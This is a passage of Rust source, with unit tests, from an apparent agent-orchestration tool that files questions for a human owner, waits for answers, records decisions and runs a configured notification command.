1628 .is_ok_and(|record| {
1629 record.archived
1630 || record
1631 .decision
1632 .is_some_and(|d| d.status == crate::task_decision::Status::Resolved)
1633 }) {
1634 QuestionStatus::Abandoned
1635 } else {
1636 QuestionStatus::Open
1637 };
1638 }
1639 q
1640 }
1641
1642 fn with_repair_choice(&self, mut q: Question) -> Question {
1643 if q.status.open()
1646 && q.merge_target.is_none()
1647 && let Some(home) = self.root.parent()
1648 && let Some(target) = crate::release_watch::approval_target(home, &q)
1649 && let Ok((current, ())) = self.update(&q.id, |current| {
1650 if current.status.open() && current.merge_target.is_none() {
1651 current.merge_target = Some(target.clone());
1652 }
1653 Ok(())
1654 })
1655 {
1656 q = current;
1657 }
1658 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1659 && q.node == crate::land::APPROVAL_NODE
1660 && let Some(home) = self.root.parent()
1661 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1662 {
1663 let mut upgraded = q.clone();
1664 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1665 match self.update(&q.id, |current| {
1666 crate::land::upgrade_repair_choice(current, &state);
1667 Ok(())
1668 }) {
1669 Ok((current, ())) => return current,
1670 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1671 }
1672 }
1673 }
1674 q
1675 }
1676
1677 pub fn list(&self) -> Vec<Question> {
1685 let sources = self.root.parent().map(crate::task_chat::migration_sources);
1687 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1688 .into_iter()
1689 .flatten()
1690 .flatten()
1691 .map(|e| e.path())
1692 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1693 .filter_map(|p| read_path(&p).ok())
1694 .map(|q| {
1695 let migrated = match &sources {
1696 Some(Ok(Some(ids))) => ids.contains(&q.id),
1697 Some(_) => true,
1698 None => false,
1699 };
1700 self.consumption_view_in(self.with_repair_choice(q), migrated)
1701 })
1702 .collect();
1703 all.sort_unstable_by(|a, b| {
1704 let rank = |q: &Question| u8::from(!q.status.open());
1705 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1706 });
1707 all
1708 }
1709
1710 pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1714 let entries = match std::fs::read_dir(&self.root) {
1715 Ok(entries) => entries,
1716 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1717 Err(error) => return Err(error).context("inspect pending questions"),
1718 };
1719 let mut questions = Vec::new();
1720 for entry in entries {
1721 let path = entry?.path();
1722 if path.extension().is_some_and(|ext| ext == "json") {
1723 questions.push(read_path(&path)?);
1724 }
1725 }
1726 Ok(questions)
1727 }
1728
1729 pub fn open_for(&self, run: &str) -> Vec<Question> {
1735 self.list()
1736 .into_iter()
1737 .filter(|q| q.status.open() && q.run == run)
1738 .collect()
1739 }
1740
1741 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1754 let mut abandoned = 0;
1755 for mut q in self.open_for(run) {
1756 q.abandon(why);
1757 self.put(&mut q)?;
1758 abandoned += 1;
1759 }
1760 Ok(abandoned)
1761 }
1762
1763 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1787 if status.resumable() {
1788 return Ok(0);
1789 }
1790 let why = format!(
1791 "run {run} {}, so nothing is waiting for this answer",
1792 status.as_str()
1793 );
1794 let mut abandoned = 0;
1799 for mut q in self.open_for(run) {
1800 if q.node == crate::bump::NOTICE_NODE {
1801 continue;
1802 }
1803 if q.routed_task.is_some() && q.routed_chat.is_none() {
1807 continue;
1808 }
1809 q.abandon(&why);
1810 self.put(&mut q)?;
1811 abandoned += 1;
1812 }
1813 Ok(abandoned)
1814 }
1815
1816 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1819 use crate::queue::{Reference, record_ids, resolve_reference};
1820 let ids = record_ids(&self.root, "json")?;
1821 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1822 Reference::Found(id) => Ok(id),
1823 Reference::Missing => bail!("no question matches `{prefix}`"),
1824 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1825 }
1826 }
1827
1828 pub fn revision(&self) -> u64 {
1832 std::fs::read_dir(&self.root)
1833 .into_iter()
1834 .flatten()
1835 .flatten()
1836 .filter_map(|e| e.metadata().ok())
1837 .filter_map(|m| m.modified().ok())
1838 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1839 .map(|d| d.as_millis() as u64)
1840 .max()
1841 .unwrap_or(0)
1842 }
1843
1844 pub fn count_open(&self) -> usize {
1850 self.list().iter().filter(|q| q.status.open()).count()
1851 }
1852
1853 pub fn count_needs_owner(&self) -> usize {
1862 self.list()
1863 .iter()
1864 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1865 .count()
1866 }
1867
1868 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1872 q.status.open()
1873 && q.deputy
1874 .as_ref()
1875 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1876 && !self
1877 .read_lease(&q.id)
1878 .is_some_and(|l| l.fresh(Timestamp::now()))
1879 }
1880}
1881
1882#[derive(Debug, Clone, PartialEq, Eq)]
1884pub enum Wait {
1885 Answered(String),
1887 Replied(String),
1892 Pending,
1899 Abandoned,
1904}
1905
1906pub async fn ask_and_wait(
1913 q: &mut Question,
1914 store: &Questions,
1915 notify: &config::Notify,
1916 timeout: Duration,
1917) -> Result<Wait> {
1918 wait_for_owner(q, store, notify, timeout, POLL).await
1919}
1920
1921pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1936 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1937}
1938
1939async fn wait_for_owner(
1945 q: &mut Question,
1946 store: &Questions,
1947 cfg: &config::Notify,
1948 timeout: Duration,
1949 poll: Duration,
1950) -> Result<Wait> {
1951 if !store.path_of(&q.id).is_file() {
1955 store.put(q).context("file the question")?;
1956 }
1957 if q.should_notify(Timestamp::now()) {
1958 if let Err(e) = notify(cfg, q).await {
1959 tracing::warn!(
1964 "could not notify about question {}: {e:#} - the web UI is the \
1965 only surface for it now",
1966 q.short()
1967 );
1968 }
1969 }
1970 tracing::info!(
1971 "question {} from {} is waiting for you: {}",
1972 q.short(),
1973 q.seat,
1974 q.summary
1975 );
1976 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1977}
1978
1979fn hold(store: &Questions, id: &str) {
1981 store.beat(id, WaiterKind::Asker);
1982 let took = store.update(id, |q| {
1983 if q.status.open() {
1984 q.waiter = Some(Waiter {
1985 kind: WaiterKind::Asker,
1986 since: Timestamp::now(),
1987 });
1988 }
1989 Ok(())
1990 });
1991 if let Err(e) = took {
1992 tracing::debug!("could not note the wait on question {id}: {e:#}");
1993 }
1994}
1995
1996pub fn record_answer(
2007 store: &Questions,
2008 id: &str,
2009 reply: &str,
2010 title: Option<&str>,
2011) -> Result<String> {
2012 let (q, ()) = store.update(id, |r| {
2013 let answer = if r.free_text() {
2014 Answer::Text(reply.to_owned())
2015 } else {
2016 Answer::Choice(r.resolve_reply(reply)?.to_owned())
2017 };
2018 let replacement = r.node == crate::github_text::ASK_NODE
2019 && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2020 if replacement {
2021 let title =
2022 title.context("use my text needs --title with the literal replacement title")?;
2023 if title.trim().is_empty() {
2024 bail!("replacement title must not be empty");
2025 }
2026 r.publication_title = Some(title.to_owned());
2027 } else if title.is_some() {
2028 bail!("--title is only valid for a publication decision's `use my text` choice");
2029 }
2030 r.answer(answer)
2031 })?;
2032 let mut out = format!("answered {} {}", q.short(), q.summary);
2033 let resolution = q.resolution();
2034 let approval = q.node == crate::land::APPROVAL_NODE;
2035 if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2036 out.push_str(
2037 "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2038 );
2039 }
2040 if approval
2041 && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2042 && resolution
2043 .as_deref()
2044 .is_some_and(crate::merge_decision::stops)
2045 {
2046 out.push_str(&format!(
2047 "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2048 q.run
2049 ));
2050 }
2051 if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2052 out.push_str(&format!(
2053 "\nRepair requested; this answer command has not started repair or approved a merge. \
2054 A running magi serve / magi web resumes the existing run. Without one, \
2055 run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2056 q.run
2057 ));
2058 }
2059 Ok(out)
2060}
2061
2062pub fn hand_over(store: &Questions, q: &mut Question) {
2070 let done = store.update(&q.id, |r| {
2071 r.delivered_turns = r.delivered_turns.max(q.thread.len());
2072 if r.status == QuestionStatus::Answered {
2073 r.answer_delivered = true;
2074 }
2075 r.waiter = None;
2076 Ok(())
2077 });
2078 match done {
2079 Ok((fresh, ())) => *q = fresh,
2080 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2081 }
2082}
2083
2084pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2088 let says = q.undelivered_owner_turns();
2089 if says.is_empty() {
2090 return answer.to_owned();
2091 }
2092 format!(
2093 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2094 says.join("\n\n")
2095 )
2096}
2097
2098pub fn deliver_answer(
2101 store: &Questions,
2102 q: &mut Question,
2103 answer: &str,
2104 out: &mut impl std::io::Write,
2105) -> std::io::Result<()> {
2106 writeln!(out, "{}", answer_for_agent(q, answer))?;
2107 out.flush()?;
2108 hand_over(store, q);
2109 Ok(())
2110}
2111
2112async fn wait_loop(
2122 q: &mut Question,
2123 store: &Questions,
2124 timeout: Duration,
2125 slice: Duration,
2126 poll: Duration,
2127) -> Result<Wait> {
2128 if let Some(said) = q.unread_from_owner() {
2138 return Ok(Wait::Replied(said));
2139 }
2140 hold(store, &q.id);
2141
2142 let bounded = timeout.min(slice);
2143 let is_the_real_deadline = bounded >= timeout;
2144 let deadline = tokio::time::Instant::now() + bounded;
2145 loop {
2146 let now = tokio::time::Instant::now();
2147 if now >= deadline {
2148 if !is_the_real_deadline {
2149 return Ok(Wait::Pending);
2153 }
2154 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2155 let (fresh, unread) = store
2159 .update(&q.id, |r| {
2160 let unread = r.unread_from_owner();
2161 if unread.is_none() {
2162 r.abandon(&why);
2163 r.waiter = None;
2164 }
2165 Ok(unread)
2166 })
2167 .context("record the abandoned question")?;
2168 *q = fresh;
2169 if let Some(said) = unread {
2170 return Ok(Wait::Replied(said));
2171 }
2172 tracing::warn!(
2173 "question {} went unanswered for {}s; the run parks and the \
2174 question stays as the record of it",
2175 q.short(),
2176 timeout.as_secs()
2177 );
2178 return Ok(Wait::Abandoned);
2179 }
2180 tokio::time::sleep(poll.min(deadline - now)).await;
2181 store.beat(&q.id, WaiterKind::Asker);
2182 match store.get(&q.id) {
2183 Ok(fresh) if !fresh.status.open() => {
2184 *q = fresh;
2188 return Ok(match q.resolution() {
2189 Some(a) => Wait::Answered(a),
2190 None => Wait::Abandoned,
2193 });
2194 }
2195 Ok(fresh) => {
2196 if let Some(said) = fresh.unread_from_owner() {
2197 *q = fresh;
2198 return Ok(Wait::Replied(said));
2199 }
2200 }
2203 Err(e) => {
2204 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2208 }
2209 }
2210 }
2211}
2212
2213pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2224 if q.routed_task.is_some() {
2225 return Ok(());
2226 }
2227 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2228 if q.status.open() {
2229 summary.push_str(&format!(
2230 " Respond in Questions or with `magi answer {}`.",
2231 q.id
2232 ));
2233 }
2234 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2235 notify_at(cmd, &q.run, &summary, &url).await
2236}
2237
2238pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2241 let url = view_url(
2242 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2243 "notifications",
2244 );
2245 notify_at(cmd, run, summary, &url).await
2246}
2247
2248async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2249 let Some((program, args)) = cmd.command.split_first() else {
2250 return Ok(());
2252 };
2253 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2254 tracing::warn!(
2255 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2256 so the link will be empty - export it next to `magi serve` with \
2257 the address `magi web --open` printed"
2258 );
2259 }
2260 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2261 tracing::debug!(program = %program, args = ?argv, "notifying");
2262
2263 let mut child = tokio::process::Command::new(program);
2264 child.quiet();
2265 child
2266 .args(&argv)
2267 .stdin(std::process::Stdio::null())
2268 .kill_on_drop(true);
2271 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2272 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2273 Err(_) => bail!(
2274 "notification command `{program}` did not finish within {}s",
2275 NOTIFY_TIMEOUT.as_secs()
2276 ),
2277 };
2278 if !out.status.success() {
2279 let stderr = String::from_utf8_lossy(&out.stderr);
2280 let why = stderr
2281 .lines()
2282 .rev()
2283 .find(|l| !l.trim().is_empty())
2284 .unwrap_or("no output on stderr")
2285 .trim();
2286 bail!(
2287 "notification command `{program}` exited with {}: {why}",
2288 out.status
2289 );
2290 }
2291 Ok(())
2292}
2293
2294fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2300 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2301 let mut out = String::with_capacity(template.len());
2302 let mut rest = template;
2303 while let Some(at) = rest.find('{') {
2304 out.push_str(&rest[..at]);
2305 let tail = &rest[at..];
2306 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2307 Some((token, value)) => {
2308 out.push_str(value);
2309 rest = &tail[token.len()..];
2310 }
2311 None => {
2312 out.push('{');
2314 rest = &tail[1..];
2315 }
2316 }
2317 }
2318 out.push_str(rest);
2319 out
2320}
2321
2322fn question_url(base: &str) -> String {
2329 view_url(base, "questions")
2330}
2331
2332fn view_url(base: &str, view: &str) -> String {
2333 let base = base.trim().trim_end_matches('/');
2334 if base.is_empty() || base.contains('#') {
2335 return base.to_owned();
2336 }
2337 format!("{base}/#/{view}")
2338}
2339
2340fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2345 let index = dir.join(PANEL_HTML);
2346 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2347 for (name, src) in assets {
2348 let dst = dir.join(name);
2349 std::fs::copy(src, &dst)
2350 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2351 }
2352 Ok(())
2353}
2354
2355fn clear_dir(path: &Path) -> Result<()> {
2360 match std::fs::remove_dir_all(path) {
2361 Ok(()) => Ok(()),
2362 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2363 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2364 }
2365}
2366
2367fn read_path(path: &Path) -> Result<Question> {
2368 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2369 let q: Question =
2370 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2371 if q.schema > SCHEMA {
2372 bail!(
2377 "question {} was written by a newer magi (schema {}, this build \
2378 only speaks up to {SCHEMA})",
2379 q.id,
2380 q.schema
2381 );
2382 }
2383 Ok(q)
2384}
2385
2386pub fn short_id(id: &str) -> &str {
2388 short(id)
2389}
2390
2391fn short(id: &str) -> &str {
2392 id.split('-').next_back().unwrap_or(id)
2393}
2394
2395fn new_id() -> String {
2396 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2397 new_id_at(&stamp.to_string(), crate::rng::entropy())
2398}
2399
2400fn new_id_at(stamp: &str, seed: u64) -> String {
2401 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2406 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2407 format!(
2408 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2409 (seed ^ (seed >> 32)) & 0xffff
2410 )
2411}
2412
2413#[cfg(test)]
2414mod tests {
2415 use super::*;
2416
2417 fn store() -> (tempfile::TempDir, Questions) {
2420 let dir = tempfile::tempdir().unwrap();
2421 let s = Questions::at(dir.path().join("questions"));
2422 (dir, s)
2423 }
2424
2425 #[test]
2426 fn run_names_task_only_for_task_questions() {
2427 for (node, want) in [
2428 (crate::conduct::NODE, true),
2429 (crate::triage::NODE, true),
2430 (crate::triage::DEPS_NODE, true),
2431 (crate::land::APPROVAL_NODE, false),
2432 (crate::bump::NOTICE_NODE, false),
2433 ("implement", false),
2434 ] {
2435 let mut q = choice_question();
2436 q.node = node.to_owned();
2437 assert_eq!(q.run_names_task(), want, "{node}");
2438 }
2439 }
2440
2441 #[test]
2442 fn deleting_a_run_stops_its_questions_asking() {
2443 let (_dir, store) = store();
2444
2445 let mut open_one = choice_question();
2446 store.put(&mut open_one).unwrap();
2447 let mut answered = free_question();
2448 answered
2449 .answer(Answer::Text("keep this".to_owned()))
2450 .unwrap();
2451 store.put(&mut answered).unwrap();
2452 let mut elsewhere = choice_question();
2453 elsewhere.run = "20260903-105039-3cbf".to_owned();
2454 store.put(&mut elsewhere).unwrap();
2455
2456 let n = store
2457 .abandon_for_run(&open_one.run, "run was deleted")
2458 .unwrap();
2459 assert_eq!(n, 1, "only the open question of that run");
2460
2461 let back = store.get(&open_one.id).unwrap();
2462 assert!(!back.status.open(), "it no longer asks for a decision");
2463 assert!(
2464 back.detail.contains("run was deleted"),
2465 "the operator can see why: {}",
2466 back.detail
2467 );
2468
2469 let kept = store.get(&answered.id).unwrap();
2470 assert_eq!(
2471 kept.status,
2472 QuestionStatus::Answered,
2473 "an answered question is a decision on record, not something to revoke"
2474 );
2475 assert!(
2476 store.get(&elsewhere.id).unwrap().status.open(),
2477 "another run's question is untouched"
2478 );
2479 assert!(store.open_for(&open_one.run).is_empty());
2480 }
2481
2482 #[test]
2483 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2484 let (_dir, store) = store();
2485 let mut q = choice_question();
2486 store.put(&mut q).unwrap();
2487
2488 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2490 assert_eq!(n, 0);
2491 assert!(store.get(&q.id).unwrap().status.open());
2492
2493 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2496 assert_eq!(n, 1);
2497 let back = store.get(&q.id).unwrap();
2498 assert!(!back.status.open());
2499 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2500
2501 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2503 }
2504
2505 #[test]
2506 fn settle_run_keeps_an_undelivered_routed_decision() {
2507 let (_dir, store) = store();
2508 let mut q = choice_question();
2509 q.routed_task = Some("task".into());
2510 store.put(&mut q).unwrap();
2511 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2512 assert!(store.get(&q.id).unwrap().status.open());
2513
2514 store
2516 .update(&q.id, |r| {
2517 r.routed_chat = Some("chat".into());
2518 Ok(())
2519 })
2520 .unwrap();
2521 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2522 }
2523
2524 fn choice_question() -> Question {
2525 Question::new(
2526 "20260902-201256-9fb7".to_owned(),
2527 "implement".to_owned(),
2528 "impl-A".to_owned(),
2529 "Which storage backend should the cache use?".to_owned(),
2530 "Both are already dependencies.".to_owned(),
2531 vec!["SQLite".to_owned(), "Redis".to_owned()],
2532 )
2533 }
2534
2535 fn free_question() -> Question {
2536 Question::new(
2537 "20260902-201256-9fb7".to_owned(),
2538 "review".to_owned(),
2539 "rev-1".to_owned(),
2540 "What should the error message say?".to_owned(),
2541 String::new(),
2542 Vec::new(),
2543 )
2544 }
2545
2546 fn quiet() -> config::Notify {
2548 config::Notify::default()
2549 }
2550
2551 #[test]
2552 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2553 let mut q = choice_question();
2557 q.id = "20260902-231501-ab12".to_owned();
2558 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2559 let keys: Vec<&str> = open
2563 .as_object()
2564 .unwrap()
2565 .keys()
2566 .map(String::as_str)
2567 .collect();
2568 assert_eq!(
2569 keys,
2570 [
2571 "actions",
2572 "answer",
2573 "answer_delivered",
2574 "answer_timeout",
2575 "answered_at",
2576 "asked_at",
2577 "assets",
2578 "choices",
2579 "consult",
2580 "cwd",
2581 "decision_context",
2582 "delivered_turns",
2583 "deputy",
2584 "detail",
2585 "id",
2586 "merge_target",
2587 "node",
2588 "panel",
2589 "routed_chat",
2590 "routed_task",
2591 "run",
2592 "schema",
2593 "seat",
2594 "status",
2595 "summary",
2596 "thread",
2597 "triage_generation",
2598 "waiter",
2599 ],
2600 "the on-disk field set is a contract with the front end"
2601 );
2602 assert_eq!(open["schema"], 13);
2603 assert_eq!(open["merge_target"], serde_json::Value::Null);
2604 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2605 assert_eq!(open["thread"], serde_json::json!([]));
2606 assert_eq!(open["id"], "20260902-231501-ab12");
2607 assert_eq!(open["run"], "20260902-201256-9fb7");
2608 assert_eq!(open["node"], "implement");
2609 assert_eq!(open["seat"], "impl-A");
2610 assert_eq!(open["status"], "open");
2611 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2612 assert_eq!(open["answered_at"], serde_json::Value::Null);
2613 assert_eq!(open["answer"], serde_json::Value::Null);
2614 let asked = open["asked_at"].as_str().unwrap();
2615 assert!(
2616 asked.ends_with('Z') && asked.contains('T'),
2617 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2618 );
2619
2620 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2622 let answered = serde_json::to_value(&q).unwrap();
2623 assert_eq!(answered["status"], "answered");
2624 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2625 assert!(answered["answered_at"].is_string());
2626
2627 let mut free = free_question();
2629 free.answer(Answer::Text("Say which file it was".to_owned()))
2630 .unwrap();
2631 assert_eq!(
2632 serde_json::to_value(&free).unwrap()["answer"],
2633 serde_json::json!({"text": "Say which file it was"})
2634 );
2635
2636 let body = serde_json::to_string(&q).unwrap();
2638 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2639 }
2640
2641 #[test]
2642 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2643 let (_dir, store) = store();
2644 let mut q = approval_question();
2645 q.merge_target = Some(crate::merge_decision::Target {
2646 pr: "https://github.com/example/repo/pull/42".into(),
2647 head: "reviewed-head".into(),
2648 language: "ja".into(),
2649 });
2650 store.put(&mut q).unwrap();
2651 let saved = store.get(&q.id).unwrap();
2652 assert_eq!(saved, q);
2653 let mut body = serde_json::to_value(&saved).unwrap();
2654 assert_eq!(body["schema"], 13);
2655 assert_eq!(
2656 body["merge_target"],
2657 serde_json::json!({
2658 "pr": "https://github.com/example/repo/pull/42",
2659 "head": "reviewed-head",
2660 "language": "ja"
2661 })
2662 );
2663
2664 body["schema"] = serde_json::json!(10);
2667 body.as_object_mut().unwrap().remove("merge_target");
2668 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2669 let legacy = store.get(&q.id).unwrap();
2670 assert_eq!(legacy.schema, 10);
2671 assert!(legacy.merge_target.is_none());
2672 assert_eq!(legacy.choices, q.choices);
2673 assert_eq!(legacy.status, q.status);
2674 }
2675
2676 #[test]
2677 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2678 let mut unoffered = choice_question();
2681 let a = unoffered
2682 .answer(Answer::Choice("Postgres".to_owned()))
2683 .unwrap_err()
2684 .to_string();
2685
2686 let mut typed = choice_question();
2687 let b = typed
2688 .answer(Answer::Text("use Postgres".to_owned()))
2689 .unwrap_err()
2690 .to_string();
2691
2692 let mut blank = free_question();
2693 let c = blank
2694 .answer(Answer::Text(" \n".to_owned()))
2695 .unwrap_err()
2696 .to_string();
2697
2698 let mut twice = choice_question();
2699 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2700 let d = twice
2701 .answer(Answer::Choice("Redis".to_owned()))
2702 .unwrap_err()
2703 .to_string();
2704
2705 assert!(a.contains("not one of the choices"), "{a}");
2706 assert!(b.contains("multiple choice"), "{b}");
2707 assert!(c.contains("empty"), "{c}");
2708 assert!(d.contains("already answered"), "{d}");
2709 let mut distinct = vec![a, b, c, d];
2710 let asked = distinct.len();
2711 distinct.sort_unstable();
2712 distinct.dedup();
2713 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2714
2715 assert_eq!(unoffered.status, QuestionStatus::Open);
2717 assert_eq!(typed.status, QuestionStatus::Open);
2718 assert_eq!(blank.status, QuestionStatus::Open);
2719 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2721
2722 let mut free = free_question();
2724 let e = free
2725 .answer(Answer::Choice("SQLite".to_owned()))
2726 .unwrap_err()
2727 .to_string();
2728 assert!(e.contains("free text"), "{e}");
2729 }
2730
2731 #[test]
2732 fn open_questions_are_listed_before_answered_ones() {
2733 let (_dir, s) = store();
2734 let mut old_open = choice_question();
2737 old_open.id = "20260101-000001-aaaa".to_owned();
2738 let mut new_open = choice_question();
2739 new_open.id = "20260101-000002-bbbb".to_owned();
2740 let mut answered = choice_question();
2741 answered.id = "20260101-000003-cccc".to_owned();
2742 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2743 for q in [&mut old_open, &mut new_open, &mut answered] {
2744 s.put(q).unwrap();
2745 }
2746
2747 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2748 assert_eq!(
2749 ids,
2750 [
2751 "20260101-000002-bbbb",
2752 "20260101-000001-aaaa",
2753 "20260101-000003-cccc"
2754 ],
2755 "what has stopped work comes first; history sorts underneath"
2756 );
2757 assert_eq!(s.count_open(), 2);
2758 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2759 assert!(s.open_for("some-other-run").is_empty());
2760 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2762 assert!(s.get("20260101-000002-bbbb").is_ok());
2763 assert!(s.resolve_id("nope").is_err());
2764 assert!(
2765 s.revision() > 0,
2766 "the store's mtime drives the phone's polling"
2767 );
2768 }
2769
2770 #[test]
2771 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2772 let (_dir, s) = store();
2773 let mut good = choice_question();
2774 s.put(&mut good).unwrap();
2775 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2777 let future = serde_json::json!({
2778 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2779 "seat": "s", "summary": "?", "detail": "", "choices": [],
2780 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2781 "answered_at": null, "answer": null,
2782 });
2783 std::fs::write(
2784 s.path_of("20260101-000010-beef"),
2785 serde_json::to_string(&future).unwrap(),
2786 )
2787 .unwrap();
2788
2789 let listed = s.list();
2790 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2791 assert_eq!(listed[0].id, good.id);
2792 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2794 assert!(e.contains("schema"), "{e}");
2795 }
2796
2797 #[tokio::test]
2798 async fn the_wait_returns_the_answer_another_process_wrote() {
2799 let (dir, s) = store();
2804 let mut q = choice_question();
2805 let id = q.id.clone();
2806 let writer = Questions::at(dir.path().join("questions"));
2807 let handle = tokio::spawn(async move {
2808 tokio::time::sleep(Duration::from_millis(30)).await;
2809 let mut fresh = writer.get(&id).expect("the question was filed first");
2810 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2811 writer.put(&mut fresh).unwrap();
2812 });
2813
2814 let got = wait_for_owner(
2815 &mut q,
2816 &s,
2817 &quiet(),
2818 Duration::from_secs(5),
2819 Duration::from_millis(10),
2820 )
2821 .await
2822 .unwrap();
2823
2824 handle.await.unwrap();
2825 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2826 assert_eq!(
2827 q.status,
2828 QuestionStatus::Answered,
2829 "the caller's copy is refreshed from the answering process's record"
2830 );
2831 assert!(q.answered_at.is_some());
2832 }
2833
2834 #[tokio::test]
2835 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2836 let (_dir, s) = store();
2837 let mut q = choice_question();
2838
2839 let got = wait_for_owner(
2840 &mut q,
2841 &s,
2842 &quiet(),
2843 Duration::from_millis(60),
2844 Duration::from_millis(10),
2845 )
2846 .await
2847 .unwrap();
2848
2849 assert_eq!(
2850 got,
2851 Wait::Abandoned,
2852 "a slow human is not an error; the run parks"
2853 );
2854 assert_eq!(q.status, QuestionStatus::Abandoned);
2855 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2856 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2857 assert!(
2858 on_disk.detail.contains("Abandoned:"),
2859 "why nobody answered belongs with the question: {}",
2860 on_disk.detail
2861 );
2862 assert!(on_disk.resolution().is_none());
2863 assert_eq!(s.count_open(), 0);
2864 }
2865
2866 #[tokio::test]
2867 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2868 let (_dir, s) = store();
2873 let mut q = choice_question();
2874 s.put(&mut q).unwrap();
2875
2876 let got = wait_loop(
2877 &mut q,
2878 &s,
2879 Duration::from_secs(3600),
